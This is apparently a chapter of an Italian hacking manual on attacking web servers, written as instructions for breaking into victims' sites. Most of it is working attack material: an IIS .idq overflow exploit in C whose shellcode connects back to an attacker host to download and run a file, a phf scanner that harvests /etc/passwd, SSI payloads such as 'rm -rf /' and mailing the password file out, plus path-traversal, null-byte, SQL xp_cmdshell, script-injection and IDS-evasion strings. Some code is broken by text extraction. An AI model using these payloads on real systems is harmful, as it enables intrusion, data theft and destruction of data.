You are on page 1of 119

Parte VIII

Lhacking reale

I problemi con i WEB


Esistono una serie di problemi che coinvolgono i WEB servers che dipendono dalla
digitazione di determinati caratteri o che grazie alle richieste di determinati files forniscono
informazioni che dicono allhacker come di fatto costituita la struttura dei files del sistema.
Chiaramente queste non sono regole e dipendono comunque dal software adottato come
WEB server, dal sistema operativo e dalle patch installate su questi.
Spesso il fatto di fornire informazioni dipende anche da come viene settato il software di
gestione del WEB server.

Windows 2000 and NT4 IIS .ASP Remote Buffer Overflow


Pochissimi giorni fa stato trovato un buffer overflow allinterno dei server IIS che usano
ASP.
Questo problemariguarda una DLL ISAPI.
Con il solito NETCAT provate ad aprire una sessione sul server con un certo IP e sulla porta
80 e scrivete :
**************Begin Session****************
POST /iisstart.asp HTTP/1.1
Accept: */*
Host: eeye.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
10
PADPADPADPADPADP
4
DATA
4
DEST
0
[enter]
[enter]
**************End Session******************
Lesempio di prima fa in modo che vemga generata un exception a partire dal child process
dllhost.
Quando il default exception handler viene eseguito la finestra con il testo che segue viene
aperta :
DLLHOST.EXE - Application error
The instruction at 0x77fcb397 referenced memory at 0x54534544
Il valore 0x5434544 la rappresentazione esadecimale di TSED o del valore DEST
(guardate quello che abbiamo scritto prima) in formato little-endian (il formato little endian
un formato di un computer che salva in un determinato modo).
Il processo DLLHOST prova a copiare DATA su DEST.
Dato che non esiste memoria scrivibile a 0x5434544, viene generato una structired exception
handling (SEH).
Il problema fondamentale che la memoria che sovrascriviamo contiene la struttura del Heap
Management Header usato in quesyto caso da AllocateHeap().
Allo stesso modo con cui abbiamo soprascritto la struttura possiamo anche controllare due
indirizzi da 4 BYTES.
I primi 4 bytes, quelli sovrascritti da DATA, un indirizzo che viene copiato suii secondi 4
bytes, questa volta DEST.
Sovrascrivendo questi due indirizzi possiamo mettere 4 bytes in memoria ovunque che dllhost
ha il privilegio di scriverci sopra.

Questo ci permette di sovrascrivere puntatori a funzioni, exception handler, punatori a


istruzioni salvate o qualsiasi altra cosa che ci permette di gestire il flusso dellesecuzione
dentro al nostro payload.
Questa vulnerabilit non viene protetta dai firewalls.

Cerberus Information Security


Il Cerberus Security Team yha trovato questo problema realtivo ai WEB Server IIS vesione 4
e versione 5 che funzionano con Index Server.
Qando viene eseguita una richiesta del tipo :
http://charon/null.htw?CiWebHitsFile=/default.asp&CiRestriction=none&CiHiliteType=Full
lutente dovrebbe vedere solo la parte HTML restituita dal comando stesso.
Se alla fine di questa stringa CiWebHitsFile viene aggiunto un %20 il tutto diventa :
http://charon/null.htw?CiWebHitsFile=/default.asp%20&CiRestriction=none&CiHiliteType=Full
e a questo punto diventa possibile la visualizzazione dei sorgenti.
Il problema esiste in quanto null.htw di fatto non un file reale che pu essere mappato
qualsiasi file dentro al sistema Windows.
Un altro tipo di exploit utilizzante questa metodologia ottenuta mediante la richiesta :

http://vittima.com/iissamples/issamples/oop/qfullhit.htw?
CiWebHitsFile=/../../winnt/repair/setup.log&CiRestriction=none&CiHiliteType=Full
In questo caso lexploit dipende dal fatto che siano installati gli esempi opzionali di IIS.
Qualsiasi richiesta utilizzante null.htw occupa webhits.dll.
Questa dll fonte di molti problemi dentro ai sistemi IIS.
Come abbiamo detto prima la DLL fa parte di Microsoft Indexing Services il quale viene
installato di default sotto Windows 2000 anche se poi di fatto questo non parte se non viene
appositamente attivato.
Quando attivato questo servizio estende IIS tramite questa dll che di fatto si attiene alla
metodologia ISAPI.
La sua attivazione dipendente dalla richiesta del file con estensione .HTW, come abbiamo
visto nellesempio di prima.
Il primo esempio non funziona sulle versioni di IIS 5 mentre il secondo esempio visto dipende
dallinstallazione degli esempi.
Una terza metodologia dattacco invece utilizza un sistema definito con il termine di buffer
truncation.
Questo funziona appendendo una richiesta di un file valido ad un grosso numero di spazi
(%20) ed un file .HTW.
Facciamo un esempio usando il file che viene utilizzato per segnalare il sito in costruzione.
Questo file presente nella root directory di IIS 5 e si chiama iistart.asp
Mediante netcat o telnet aperto su un certo indirizzo e sulla porta 80 digitate :
GET /iistart.asp
%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%2
0%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%
20%20%20 [ 221 %20 ]
%20%20%20%20.htw&CiWebHitsFile=/exair5/siteadmin/default.asp&CiRestriction=none&Ci
HiliteType=Full HTTP/1.0
Esiste in circolazione una piccola utility chiamata IISCAT che svolge questa funzione di
inserire la stringa.
Luso di IISCAT come segue :
c:\>iiscat /exair5/siteadmin/default.asp /iissatrt.asp | nc vv vittima.com 80
Anche in questo caso stato viene utilizzato il pipe per collegare loutput con netcat.

I files .IDQ, IDA


Alcune attivit svolte dagli hacker pretenderebbero per un buona riuscita di conoscere i
percorsi dei vari files di sistema sia per quanto riguarda il sistema operativo che invece per
quanto inerente alla configurazione relativa allinstallazione di software come quelli dei vari
servers.
Ad esempio la directory di default di IIS generalmente
\inetpub
ma questa potrebbe essere stata cambiata in fase di installazione o di settaggio del server
stesso.
Alcuni exploits pretendono la conoscenza del percorso dove il server installato.
Alcuni bugs permettono di venire a conoscenza del percorso assoluto di questi files.
Il software di settaggio di IIS permette di stabilire il comportamento di questo nel caso in cui
vengano richiesti determinati files con alcuni tipi di estensioni.

Supponiamo di richiedere da browser un file con un nome inventato che possegga come
estensione .IDQ oppure .IDA.
Ad esempio potremmo richiedere :
http://www.websitek.com/pippo.idq
Il server se non stato settato in modo tale da non dare risposta, risponder con il messaggio
:
The IDQ file c:\inetpub\wwwroot\pippo.idq could not be found.
In questo modo saremo in grado di conoscere il percorso di dove si trovano I files del WEB
interrogato.

Se lamministratore di sistema ha settato il flag Check that file exist allora le informazioni non
verranno visualizzate per cui questo di fatto non un bugs vero e proprio ma semplicemente
un difetto di settaggio di IIS.

Informazioni varie possono essere anche mostrate dal server IIS nel caso in cui vengano
specificati files con estensione .IDA
Lo stesso capita specificando al termine dellURL il file con estensione .IDC.
Lo stereotipo di risposta data realtiva al percorso visualizzato di fatto :
%documentroot%\<nome file>.idc
Un esempio di risposta in questo caso potrebbe essere :
Cannot open c:\inetpub\wwwroot\index.html.idc
Di fatto esistono almeno una dozzina di files che creano lo stesso problema.
In alcuni casi la pericolosit dipende da componenti che i vari servers caricano in memoria
per la gestione di determinate funzionalit.
Microsoft tra le sue metodologie gestionali possiede quelle chiamate con il termine di IISAPI
ovvero una serie di DLL ciascuna delle quali viene utilizzata per la gestione di files con
particolari estensioni.
Tra queste ad esempio ne esiste una chiamata IDQ.DLL la quale fornisce due particolari
funzioni e precisamente il supporto per gli script di amministrazione (files .ida) e quello
definito Internet Data Queries (files .idq)
Questa DLL possiede una vulnerabilit legata ad un buffer non controllato nella parte di
codice che gestisce linserimento dell URL.
Per stabilire una sessione WEB con il server possibile utilizzare questo problema.
IDQ.DLL viene eseguita in un contesto di sistema per cui lesecuzione del exploit permette
allattaccante di avere il completo possesso del sistema.
Il buffer overrun capita quando viene richiesta un funzionalit di indicizzazione.
Come risultato, visto che IDQ.DLL una parte del servizio di Server/Indexing
Il seguente codice testa la vulnerabilit :
/*
IIS5.0 .idq overrun remote exploit
Programmed by hsj : 01.06.21
code flow:
overrun -> jmp or call ebx -> jmp 8 ->
check shellcode addr and jump to there ->
shellcode -> make back channel -> download & exec code
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define
#define
#define
#define
#define
#define
#define

<signal.h>
<sys/types.h>
<sys/socket.h>
<sys/ioctl.h>
<sys/time.h>
<sys/wait.h>
<errno.h>
<unistd.h>
<fcntl.h>
<netinet/in.h>
<limits.h>
<netdb.h>
<arpa/inet.h>
RET 0x77e516de /* jmp or call ebx */
GMHANDLEA 0x77e56c42 /* Address of GetModuleHandleA */
GPADDRESS 0x77e59ac1 /* Address of GetProcAddress */
GMHANDLEA_OFFSET 24
GPADDRESS_OFFSET 61
OFFSET 234 /* exception handler offset */
NOP 0x41

#define MASKING 1
#if MASKING
#define PORTMASK 0x4141
#define ADDRMASK 0x41414141
#define PORTMASK_OFFSET 128
#define ADDRMASK_OFFSET 133
#endif
#define PORT 80
#define ADDR "attacker.mydomain.co.jp"
#define PORT_OFFSET 115
#define ADDR_OFFSET 120
unsigned char shellcode[]=
"\x5B\x33\xC0\x40\x40\xC1\xE0\x09\x2B\xE0\x33\xC9\x41\x41\x33\xC0"
"\x51\x53\x83\xC3\x06\x88\x03\xB8\xDD\xCC\xBB\xAA\xFF\xD0\x59\x50"
"\x43\xE2\xEB\x33\xED\x8B\xF3\x5F\x33\xC0\x80\x3B\x2E\x75\x1E\x88"
"\x03\x83\xFD\x04\x75\x04\x8B\x7C\x24\x10\x56\x57\xB8\xDD\xCC\xBB"
"\xAA\xFF\xD0\x50\x8D\x73\x01\x45\x83\xFD\x08\x74\x03\x43\xEB\xD8"
"\x8D\x74\x24\x20\x33\xC0\x50\x40\x50\x40\x50\x8B\x46\xFC\xFF\xD0"
"\x8B\xF8\x33\xC0\x40\x40\x66\x89\x06\xC1\xE0\x03\x50\x56\x57\x66"
"\xC7\x46\x02\xBB\xAA\xC7\x46\x04\x44\x33\x22\x11"
#if MASKING
"\x66\x81\x76\x02\x41\x41\x81\x76\x04\x41\x41\x41\x41"
#endif
"\x8B\x46\xF8\xFF\xD0\x33\xC0"
"\xC7\x06\x5C\x61\x61\x2E\xC7\x46\x04\x65\x78\x65\x41\x88\x46\x07"
"\x66\xB8\x80\x01\x50\x66\xB8\x01\x81\x50\x56\x8B\x46\xEC\xFF\xD0"
"\x8B\xD8\x33\xC0\x50\x40\xC1\xE0\x09\x50\x8D\x4E\x08\x51\x57\x8B"
"\x46\xF4\xFF\xD0\x85\xC0\x7E\x0E\x50\x8D\x4E\x08\x51\x53\x8B\x46"
"\xE8\xFF\xD0\x90\xEB\xDC\x53\x8B\x46\xE4\xFF\xD0\x57\x8B\x46\xF0"
"\xFF\xD0\x33\xC0\x50\x56\x56\x8B\x46\xE0\xFF\xD0\x33\xC0\xFF\xD0";
unsigned char storage[]=
"\xEB\x02"
"\xEB\x4E"
"\xE8\xF9\xFF\xFF\xFF"
"msvcrt.ws2_32.socket.connect.recv.closesocket."
"_open._write._close._execl.";
unsigned char forwardjump[]=
"%u08eb";
unsigned char jump_to_shell[]=
"%uC033%uB866%u031F%u0340%u8BD8%u8B03"
"%u6840%uDB33%u30B3%uC303%uE0FF";
unsigned int resolve(char *name)
{
struct hostent *he;
unsigned int ip;
if((ip=inet_addr(name))==(-1))
{
if((he=gethostbyname(name))==0)
return 0;

memcpy(&ip,he->h_addr,4);
}
return ip;

int make_connection(char *address,int port)


{
struct sockaddr_in server,target;
int s,i,bf;
fd_set wd;
struct timeval tv;
s = socket(AF_INET,SOCK_STREAM,0);
if(s<0)
return -1;
memset((char *)&server,0,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = htonl(INADDR_ANY);
server.sin_port = 0;

target.sin_family = AF_INET;
target.sin_addr.s_addr = resolve(address);
if(target.sin_addr.s_addr==0)
{
close(s);
return -2;
}
target.sin_port = htons(port);
bf = 1;
ioctl(s,FIONBIO,&bf);
tv.tv_sec = 10;
tv.tv_usec = 0;
FD_ZERO(&wd);
FD_SET(s,&wd);
connect(s,(struct sockaddr *)&target,sizeof(target));
if((i=select(s+1,0,&wd,0,&tv))==(-1))
{
close(s);
return -3;
}
if(i==0)
{
close(s);
return -4;
}
i = sizeof(int);
getsockopt(s,SOL_SOCKET,SO_ERROR,&bf,&i);
if((bf!=0)||(i!=sizeof(int)))
{
close(s);
errno = bf;
return -5;
}
ioctl(s,FIONBIO,&bf);
return s;

int get_connection(int port)


{
struct sockaddr_in local,remote;
int lsock,csock,len,reuse_addr;
lsock = socket(AF_INET,SOCK_STREAM,0);
if(lsock<0)
{
perror("socket");
exit(1);
}
reuse_addr = 1;
if(setsockopt(lsock,SOL_SOCKET,SO_REUSEADDR,(char
*)&reuse_addr,sizeof(reuse_addr))<0)
{
perror("setsockopt");
close(lsock);
exit(1);
}
memset((char *)&local,0,sizeof(local));

local.sin_family = AF_INET;
local.sin_port = htons(port);
local.sin_addr.s_addr = htonl(INADDR_ANY);
if(bind(lsock,(struct sockaddr *)&local,sizeof(local))<0)
{
perror("bind");
close(lsock);
exit(1);
}
if(listen(lsock,1)<0)
{
perror("listen");
close(lsock);
exit(1);
}
retry:
len = sizeof(remote);
csock = accept(lsock,(struct sockaddr *)&remote,&len);
if(csock<0)
{
if(errno!=EINTR)
{
perror("accept");
close(lsock);
exit(1);
}
else
goto retry;
}
close(lsock);
return csock;
}
int main(int argc,char *argv[])
{
int i,j,s,pid;
unsigned int cb;
unsigned short port;
char *p,buf[512],buf2[512],buf3[2048];
FILE *fp;
if(argc!=3)
{
printf("usage: $ %s ip file\n",argv[0]);
return -1;
}
if((fp=fopen(argv[2],"rb"))==0)
return -2;
if(!(cb=resolve(ADDR)))
return -3;
if((pid=fork())<0)
return -4;
if(pid)
{
fclose(fp);
s = make_connection(argv[1],80);
if(s<0)
{
printf("connect error:[%d].\n",s);
kill(pid,SIGTERM);
return -5;
}
j = strlen(shellcode);
*(unsigned int *)&shellcode[GMHANDLEA_OFFSET] = GMHANDLEA;
*(unsigned int *)&shellcode[GPADDRESS_OFFSET] = GPADDRESS;
port = htons(PORT);
#if MASKING
port ^= PORTMASK;
cb ^= ADDRMASK;
*(unsigned short *)&shellcode[PORTMASK_OFFSET] = PORTMASK;
*(unsigned int *)&shellcode[ADDRMASK_OFFSET] = ADDRMASK;
#endif
*(unsigned short *)&shellcode[PORT_OFFSET] = port;

*(unsigned int *)&shellcode[ADDR_OFFSET] = cb;


for(i=0;i<strlen(shellcode);i++)
{
if((shellcode[i]==0x0a)||
(shellcode[i]==0x0d)||
(shellcode[i]==0x3a))
break;
}
if(i!=j)
{
printf("bad portno or ip address...\n");
close(s);
kill(pid,SIGTERM);
return -6;
}
memset(buf,1,sizeof(buf));
p = &buf[OFFSET-2];
sprintf(p,"%s",forwardjump);
p += strlen(forwardjump);
*p++ = 1;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>0)&0xffff);
p += 4;
*p++ = '%';
*p++ = 'u';
sprintf(p,"%04x",(RET>>16)&0xffff);
p += 4;
*p++ = 1;
sprintf(p,"%s",jump_to_shell);
memset(buf2,NOP,sizeof(buf2));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-strlen(storage)1],storage,strlen(storage));
memcpy(&buf2[sizeof(buf2)-strlen(shellcode)-1],shellcode,strlen(shellcode));
buf2[sizeof(buf2)-1] = 0;
sprintf(buf3,"GET /a.idq?%s=a HTTP/1.0\r\nShell: %s\r\n\r\n",buf,buf2);
write(s,buf3,strlen(buf3));
printf("---");
for(i=0;i<strlen(buf3);i++)
{
if((i%16)==0)
printf("\n");
printf("%02X ",buf3[i]&0xff);
}
printf("\n---\n");
wait(0);
sleep(1);
shutdown(s,2);
close(s);
printf("Done.\n");
}
else
{

s = get_connection(PORT);
j = 0;
while((i=fread(buf,1,sizeof(buf),fp)))
{
write(s,buf,i);
j += i;
printf(".");
fflush(stdout);
}
fclose(fp);
printf("\n%d bytes send...\n",j);

shutdown(s,2);
close(s);

return 0;
}

Fingerprinting e attacchi sulla porta 80


Come abbiamo detto, e anche visto in alcuni casi, esistono situazioni legate alla cattiva
gestione fatta dai WEB server rispetto alle stringhe passate come argomenti, che permettono
di creare problemi alcuni dei quali legati appunto alla security.
Da questo punto di vista possibile provare qualsiasi combinazione di tasti, anche quelli che
di fatto non sono riportati in nessuna lista.
Altri tipi di problemi sono portati dalla presenza di files particolari che generalmente vengono
utilizzati per determinati scopi come ad esempio il caso del file PHF che ha come scopo
quello di gestire come utility CGI-BIN un indirizzario di numeri telefonici.
Vediamo alcuni casi di problemi presenti su alcuni siti WEB causati da caratteri particolari o
da files lasciati sul sistema dallamministratore.

Il file PHF
Come abbiamo appena detto il file PHF server a gestire laggiornamento di un indirizzario di
numeri telefonici.
Luso anomale del comando potrebbe in un sistema Unix portare a vedere il contenuto di un
file come potrebbe essere quello degli utenti ovvero passwd.
http://thegnome.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
Il seguente scanner ricerca sistemi che possiedano il problema legato a PHF.
/*
phfscan.c
June, 1996
By Alhambra
alhambra@infonexus.com
A production of The Guild Corporation, 1996
A quick hack to make scanning for hosts which still have the phf bug.
Accepts hosts to scan from stdin, and writes whatever it gets back to
stdout. Plenty of room for optimization, and features that could be
added include forking off multiple copies for concurrent scans, etc,
etc.
Do it yourself...that's how you learn.
The effectiveness of this program for getting password files isn't
what it once was...we see only around a 30% success ratio at getting
/etc/passwd from hosts that would have been vulnerable once upon a
time.
But that's still something...
Use:
phfscan < infile > outfile
*/
#include <sys/stat.h>
#include <sys/types.h>
#include <termios.h>
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/syslog.h>
#include <sys/param.h>
#include <sys/times.h>
#ifdef LINUX
#include <sys/time.h>
#endif
#include <unistd.h>

#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/signal.h>
#include <arpa/inet.h>
#include <netdb.h>
int FLAG = 1;
int Call(int signo)
{
FLAG = 0;
}
main (int argc, char *argv[])
{
char host[100], buffer[1024], hosta[1024],FileBuf[8097];
int outsocket, serv_len, len,X,c,outfd;
struct hostent *nametocheck;
struct sockaddr_in serv_addr;
struct in_addr outgoing;
char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd\n";
/* yp version...use as needed...*/
/* char PHFMessage[]="GET /cgi-bin/phf?Qalias=x%0a/usr/bin/ypcat
%20passwd\n";*/
while(fgets(hosta,100,stdin))
{
if(hosta[0] == '\0')
break;
hosta[strlen(hosta) -1] = '\0';
write(1,hosta,strlen(hosta)*sizeof(char));
write(1,"\n",sizeof(char));
outsocket = socket (AF_INET, SOCK_STREAM, 0);
memset (&serv_addr, 0, sizeof (serv_addr));
serv_addr.sin_family = AF_INET;
nametocheck = gethostbyname (hosta);
/* Ugly stuff to get host name into inet_ntoa form */
(void *) memcpy (&outgoing.s_addr, nametocheck->h_addr_list[0],
sizeof (outgoing.s_addr));
strcpy (host, inet_ntoa (outgoing));
serv_addr.sin_addr.s_addr = inet_addr (host);
serv_addr.sin_port = htons (80);
signal(SIGALRM,Call);
FLAG = 1;
alarm(10);
X=connect (outsocket, (struct sockaddr *) &serv_addr, sizeof
(serv_addr));
alarm(0);
if(FLAG == 1 && X==0){
write(outsocket,PHFMessage,strlen(PHFMessage)*sizeof(char));
while((X=read(outsocket,FileBuf,8096))!=0)
write(1,FileBuf,X);
}
close (outsocket);
}
return 0;
}

test-cgi
Un altro file che spesso viene dimenticato allinterno dei WEB Server un CGI che serve a
testare che le variabili dambiente ede altre informazioni vengano passate correttamente alle
query.

http://thegnome.com/cgi-bin/test-cgi?\whatever
La risposta potrebbe essere :
CGI/1.0 test script report:
argc is 0. argv is .
SERVER_SOFTWARE = NCSA/1.4B
SERVER_NAME = thegnome.com
GATEWAY_INTERFACE = CGI/1.1
SERVER_PROTOCOL = HTTP/1.0
SERVER_PORT = 80
REQUEST_METHOD = GET
HTTP_ACCEPT = text/plain, application/x-html, application/html,
text/html, text/x-html
PATH_INFO =
PATH_TRANSLATED =
SCRIPT_NAME = /cgi-bin/test-cgi
QUERY_STRING = whatever
REMOTE_HOST = fifth.column.gov
REMOTE_ADDR = 200.200.200.200
REMOTE_USER =
AUTH_TYPE =
CONTENT_TYPE =
CONTENT_LENGTH =
Luso del carattere 0a pu essere utilizzato allinterno di questo comando per fargli eseguire
altre cose.
http://thegnome.com/cgi-bin/test-cgi?\help&0a/bin/cat%20/etc/passwd
I seguenti comandi possono listare i files dentro alla directory CGI-BIN.
http://thegnome.com/cgi-bin/test-cgi?* HTTP/1.0
http://thegnome.com/cgi-bin/test-cgi?x *
http://thegnome.com/cgi-bin/nph-test-cgi?* HTTP/1.0
http://thegnome.com/cgi-bin/nph-test-cgi?x *
Il carattere ~
Il carattere ~ viene usato durante il processo di risoluzione di un URL dal server.
Durante il settaggio del WEB lamministratore pu definire una UserDir del tipo /public_html/
in modo che il carattere ~ sostituisca tutto il nome della directory quando questa viene
richiesta.
Alcuni server Unix che non hanno una directory /public_html/ tentano di risolvere la home
directory listata dentro a /etc/passwd.
La seguente URL fornisce delle informazioni interessanti:
http://thegnome.com/~root
Se il server non bloccato questa URL vi permette di accedere alla dircetory ROOT per cui
diventa possibile accedere a qualsiasi file pubblico.
http://thegnome.com/~root/etc/passwd

Server Side Include


Alcune volte i dati che vengono inseriti dentro a dei database tramite pagine WEB, come ad
esempio quelli dei libri degli ospiti, possono creare dei problemi dovuti allinterpretazione dei
valori stessi.

In altre parole esiste un particolare statement che permette di includere del codice dentro a
delle pagine e precisamente :
<!--

-->

Ora supponiamo di aver scritto dentro al libro degli ospiti il nostro nome.
La successiva visualizzazione della pagina ci mostrer questo.
Se invece del nome avessimo scritto uno dei seguenti statement :
<!--#exec
<!--#exec
<!--#exec
<!--#exec
<!--#exec

cmd="rm -rf /"-->


cmd="mail me@my.org < cat /etc/passwd"-->
cmd="chmod 777 ~ftp/incoming/uploaded_hack_script"-->
cmd="~ftp/incoming/uploaded_hack_script"-->
cmd="find / -name foobar -print"-->

il sistema visualizzando la linea stessa la interpreterebbe eseguendo il comando interno.

Problemi legati ai caratteri


Allinizio del capitolo abbiamo parlato di problemi legati alluso di caratteri strani.
Il pi comune tipo di attacco portato digitando caratteri strani quello legato alluso dei ., ..
e .
Chiaramente il significato relativo ai percorsi potrebbe indurre alla creazione di qualche
problema in particolar modo per quanto riguarda luso dentro a dei CGI.
Ad esempio :
http://www.websitek.it/cgi-bin/prova.cgi?file=../../../etc/passwd
Un altro carattere la rappresentazione esadecimale delo spazio ovvero %20.
Ad esempio :
http://www.websitek.it/cgi-bin/test.cgi?page=ls%20-al
Sempre relativo ai caratteri specificati come valori esadecimali possibile usare la
rappresentazione del carattere NULL.
Un esempio potrebbe essere il seguente.
In alcuni casi luso di comandi del tipo di quelli visti come :
http://www.websitek.it/cgi-bin/prova.cgi?file=../../../etc/passwd
non sono permessi dai servers in quanto questi potrebbero testare la presenza di un
estensione .HTML al termine del comando.
Ilo seguente metodo di formulare il comando porterebbe il server ad essere ingannato.
http://www.websitek.it/cgi-bin/prova.cgi?file=../../../etc/passwd
%00.html
Il successivo carattere quello definito di PIPE il quale generalmente viene utilizzato per
eseguire pi comandi specificando una sola linea di comando.
Ad esempio :
# cat passwd | more
oppure
# cat access_log | grep i ..
Luso su una riga di comando indirizzata al WEB potrebbe essere :
http://www.websitek.it/cgi-bin/prova.cgi?page=../../../bin/ls|

Una variazione del comando, che per altro avrebbe richiesto lesecuzione del comando ls in
ambiente Unix, potrebbe essere :
http://www.websitek.it/cgi-bin/prova.cgi?page=../../../bin/ls%20-al
%20/etc|
Il comando richiederebbe il listato della directory /etc
Il carattere ; permette di eseguire pi comandi su una sola riga in ambiente Unix.
Ad esempio :
#id;uname a
Un altro carattere che potrebbe indurre alla creazione di problemi con i WEB il carattere
apicetto ( ).
Questo crea problemi in particolar modo quando la stringa che lo contiene indirizzata ad un
database in quanto questo possiede per i sistemi SQL un significato particolare.
Facciamo un esempio :
http://host/cgi-bin/lame.asp?nome=Flavio;EXEC master.dbo.xp_cmdshallcmd.exe dir
I caratteri / possono anche loro costituire un problema per i WEB ma se dati con NETCAT.
Ricordiamoci che molti Browser il filtraggio di certi caratteri non lasciandoli passare per cui
certi tipi di test devono essere condotti con programmi come NC che eseguono la scrittura in
modalit RAW sulla porta del protocollo http.
Un esempio potrebbe esser :
http://www.host.com////////////////////////////////////////////////////////////////////////////////////////////////7
Questa richiesta eseguirebbe la directory sul sistema di destinazione.
Un altro exploit molto recente ancora utilizzabile su molti sistemi il seguente :
http://<img%09src=""%09onerror="document.scripts[0].src=%27http%5Cx3a%5Cx2f%
5Cx2fjscript.dk%5Cx2ftest.js%27;">script@YOUR.TLD/SomeNonExistantPath
Dove la richiesta esegue http://jscript.dk/test.js su YOUR.TLD il quale deve avere un
installazione IIS.
I tipi di problemi che possono derivare dalla digitazione di caratteri strani possono essere di
numero esagerato per cui sarebbe meglio tenere un database in modo tale che quando uno
di questi bug viene a galla sar sufficiente aggiungere a questo il tutto.
Facendo in questo modo la successiva volta che si cerca di testare un sistema possibile
farlo automaticamente ripetendo la stessa procedura che magari stata eseguita gi un
numero grosso di volte.
Mi sembra inutile dire che in ogni caso esistono gi programmi in circolazione che tra le altre
funzioni che svolgono eseguono anche i test indirizzati ai WEB Servers.
In altri capitoli avevamo visto RETINA.
In questi software esiste il vantaggio che i database dei problemi vengono gestiti dalle case
che hanno creato il pachetto.
Sulla rete esistono alcuni programmi scritti in Perl adatti a testare tutti i problemi con i WEB.
Uno di questi :
-- whisker / v1.4.0 / rain forest puppy / www.wiretrip.net --n+
-h+
-H+
-F+
-s+
-V
-p+

*nmap output (machine format, v2.06+)


*scan single host (IP or domain)
*host list to scan (file)
*(for unix multi-threaded front end use only)
specifies the script database file (defaults to scan.db)
use virtual hosts when possible
specify a different default port to use

-S+
-u+
-i
-v
-d
-W
-l+
-a+
-P+

force server version (e.g. -S "Apache/1.3.6")


user input; pass XXUser to script
more info (exploit information and such)
verbose. Print more information
debug. Print extra crud++ (to STDERR)
HTML/web output
log to file instead of stdout
authorization username[:password]
password file for -L and -U

-I
-I
-I
-I
-I
-I
-I
-I
-I
-I

1
2
3
4
5
6
7
8
9
0

IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive
IDS-evasive

-M
-M
-M
-M

1
2
3
4

use
use
use
use

mode
mode
mode
mode
mode
mode
mode
mode
mode
mode

1
2
3
4
5
6
7
8
9
0

(URL encoding)
(/./ directory insertion)
(premature URL ending)
(long URL)
(fake parameter)
(TAB separation) (not NT/IIS)
(case sensitivity)
(Windows delimiter)
(session splicing) (slow)
(NULL method)

HEAD method (default)


GET method
GET method w/ byte-range
GET method w/ socket close

-A 1 alternate db format: Voideye exp.dat


-A 2 alternate db format: cgichk*.r (in rebol)
-A 3 alternate db format: cgichk.c/messala.c (not cgiexp.c)
-- Utility options (changes whisker behavior):
-U
-L+

brute force user names via directories


brute force login name/password
(parameter is URL; use with -a for username)

+ requires parameter;

* one must exist;

(Note: proxy/bounce support has been removed until v2.0)


Questo dispone di librerie esterne con I vari test e quindi un programma espandibile:
Un esempio di files con test per i server :
#

|| version 1.4.0

server (xerox)
print - This seems to be a printer.
exit
endserver
server (printer)
print - This seems to be a printer.
exit
endserver
server (cisco ios technologies)
print - This seems to be a Cisco Catalyst switch.
exit
endserver

server (cisco)
exit
endserver
server (apache/1.0.3)
print - Apache 1.0.3 is used in Xerox printers
print - (i.e. this could be just a printer)
endserver
server (agranat-emweb)
print - Agranat's embedded webserver; http://www.agranat.com
print - The authentication realm is sometimes the product name
endserver
.. e cosi via.
Chiaramente certe possibilit di attacco sono offerte dai software che girano su certe
macchine e altre volte dai linguaggi come ad esempio Java.
Il discorso dei linguaggi potrebbe essere molto ampio in quanto se il problema risiede dentro
ad una libreria questo potrebbe essere tramandato a tutti i programmi compilati e linkati a
quella.
Un caso molto famoso era stato, e i molti casi lo ancora, quello relativo alla libreria
standard del c in ambiente Unix LIBC.
Una delle funzioni interne legate allinput era passibile di buffer overflow per cui tutti i
programmi compilati con questa LIBC erano in possesso dello stesso bug, ereditato dalla
libreria stessa.
In altri casi i linguaggi possono permettere exploits legati ad esempio al controllo trasversale.
Ne lesempio i Servlet JAVA con i quali un carattere NULL (Null-Byte \000 | %00) pu
servire, se usato allinterno di un input da parte dellutente usato direttamente con funzioni del
tipo di "File" e "RandomAccessFile potrebbe servire ad aprire files in modo arbitrario.
Ad esempio :
http://www.websitek.com/servlet/ShowContent?c=../../../../../etc/passwd%00

Anche i caratteri "." ".." e "..." possono essere utilizzati nella composizione di URL da passare
attrvarso il browser.
Ad esempio :
http://host/cgi-bin/lame.cgi?file=../../../../etc/motd
La stringa di prima viene utilizzata con il "Message Of The Day" per ricavare determinate
informazioni legate allacquisizione di certi privilegi.
Il carattere ! viene utilizzato contro i sistemi SSI(Server Side Include).
Un esempio :
http://host1/something.php=<!%20--#include%20virtual="http://host2/fake-article.html"-->
Questo solo un esempio di quello che un attaccante pu fare ovvero includere un file da
host2 e fare in modo che questo sembri apparire da host1.
Altri esempi per fare vedere come dei dati di fatto arrivano da un'altra destinazione sono :
http://host/search/search.cgi?query=< img%20src=http://host2/fake-article.jpg>
http://host/something.php?q=< img%20src=javascript:something-wicked-this-way-comes>
Il carattere pu essere anche mascherato in esadecimale.
Questo pu anche essere utilizzato per eseguire comandi :
http://host/something.php=<!%20#<!--#exec%20cmd="id"-->

Il carattere permette anche linclusione di files nascosti :


http://host/something.php=<!%20--#include%20virtual=".htpasswd"-->
Un altro problema potrebbe sorgere dalluso dei caratteri "<?"
http://host/something.php=<? passthru("id");?>
La stringa di prima potrebbe permettere lesecuzione di comandi utilizzando i privilegi
dellutente usato per lesecuzione del WEB Server.
Anche il carattere * potrebbe essere utilizzato.
http://host/index.asp?something=..\..\..\..\WINNT\system32\cmd.exe?/c+DIR+e:\WINNT\*.txt
http://host/blah.pl?somethingelse=ls%20*.pl
Molte volte in un WEB server gli utenti sono inseriti dentro a delle directory che sono
precedute dal carattere ~.
Questo pu essere utilizzato per vedere la directory di un certo utente.
http://host/~joe
Come saprete il carattere possiede un significato allinterno degli statement SQL per cui
potrebbe essere utilizzato per la creazione di particolari stringhe di URL come ad esempio :
